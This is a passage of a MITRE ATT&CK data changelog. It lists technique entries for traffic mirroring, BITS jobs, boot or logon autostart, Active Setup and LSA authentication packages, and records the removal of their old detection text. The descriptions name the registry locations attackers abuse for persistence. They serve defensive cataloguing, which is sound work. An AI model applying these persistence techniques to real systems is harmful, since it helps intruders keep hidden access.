], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ExtraHop" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.340000+00:00\", \"old_value\": \"2025-04-15 19:58:42.569000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0397: Automated Exfiltration Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 13:40:11.118000+00:00", + "modified": "2025-10-24 17:49:00.388000+00:00", + "name": "Traffic Duplication", + "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1020/001", + "external_id": "T1020.001" + }, + { + "source_name": "AWS Traffic Mirroring", + "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.", + "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html" + }, + { + "source_name": "Cisco Traffic Mirroring", + "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.", + "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html" + }, + { + "source_name": "GCP Packet Mirroring", + "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.", + "url": "https://cloud.google.com/vpc/docs/packet-mirroring" + }, + { + "source_name": "Juniper Traffic Mirroring", + "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.", + "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html" + }, + { + "source_name": "Azure Virtual Network TAP", + "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.", + "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices", + "IaaS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.388000+00:00\", \"old_value\": \"2025-04-15 19:58:44.474000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. \"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1041: Encrypt Sensitive Information", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0403: Detection Strategy for Traffic Duplication via Mirroring in IaaS and Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:22.711000+00:00", + "name": "BITS Jobs", + "description": "Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1197", + "external_id": "T1197" + }, + { + "source_name": "CTU BITS Malware June 2016", + "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.", + "url": "https://www.secureworks.com/blog/malware-lingers-with-bits" + }, + { + "source_name": "Symantec BITS May 2007", + "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.", + "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update" + }, + { + "source_name": "Elastic - Hunting for Persistence Part 1", + "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.", + "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1" + }, + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + }, + { + "source_name": "Microsoft Issues with BITS July 2011", + "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.", + "url": "https://technet.microsoft.com/library/dd939934.aspx" + }, + { + "source_name": "Microsoft BITS", + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx" + }, + { + "source_name": "Microsoft BITSAdmin", + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/aa362813.aspx" + }, + { + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" + }, + { + "source_name": "Mondok Windows PiggyBack BITS May 2007", + "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic", + "Ricardo Dias", + "Red Canary" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"Service: Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.711000+00:00\", \"old_value\": \"2025-04-16 20:37:20.513000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\\n\\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \\u2018Transfer\\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\\n\\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\\n-\\n-Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \\u2018Transfer\\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\\n-\\n-Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1028: Operating System Configuration", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Metadata)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0098: Detect abuse of Windows BITS Jobs for download, execution and persistence" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 17:46:59.535000+00:00", + "modified": "2025-10-24 17:48:29.846000+00:00", + "name": "Boot or Logon Autostart Execution", + "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547", + "external_id": "T1547" + }, + { + "source_name": "Cylance Reg Persistence Sept 2013", + "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" + }, + { + "source_name": "MSDN Authentication Packages", + "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx" + }, + { + "source_name": "Microsoft Run Key", + "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys" + }, + { + "source_name": "Microsoft TimeProvider", + "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx" + }, + { + "source_name": "Linux Kernel Programming", + "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", + "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\", \"Command: Command Execution\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"Kernel: Kernel Module Load\", \"Process: Process Creation\", \"Driver: Driver Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.846000+00:00\", \"old_value\": \"2025-04-15 19:58:12.270000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \\n\\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\\n\\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \\n-\\n-Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n-\\n-Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\\n-\\n-Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0008: Kernel (Kernel Module Load)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0274: Boot or Logon Autostart Execution Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-18 16:33:13.098000+00:00", + "modified": "2025-10-24 17:48:31.226000+00:00", + "name": "Active Setup", + "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/014", + "external_id": "T1547.014" + }, + { + "source_name": "SECURELIST Bright Star 2015", + "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020.", + "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/" + }, + { + "source_name": "Mandiant Glyer APT 2010", + "description": "Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020.", + "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf" + }, + { + "source_name": "FireEye CFR Watering Hole 2012", + "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html" + }, + { + "source_name": "Klein Active Setup 2010", + "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.", + "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/" + }, + { + "source_name": "paloalto Tropic Trooper 2016", + "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.", + "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Citizenlab Packrat 2015", + "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.", + "url": "https://citizenlab.ca/2015/12/packrat-report/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.226000+00:00\", \"old_value\": \"2025-04-15 19:58:13.464000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\.\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\.\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0312: Detect Active Setup Persistence via StubPath Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:54:42.757000+00:00", + "modified": "2025-10-24 17:49:17.208000+00:00", + "name": "Authentication Package", + "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/002", + "external_id": "T1547.002" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + }, + { + "source_name": "MSDN Authentication Packages", + "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.208000+00:00\", \"old_value\": \"2025-04-16 20:37:19.684000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1025: Privileged Process Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ 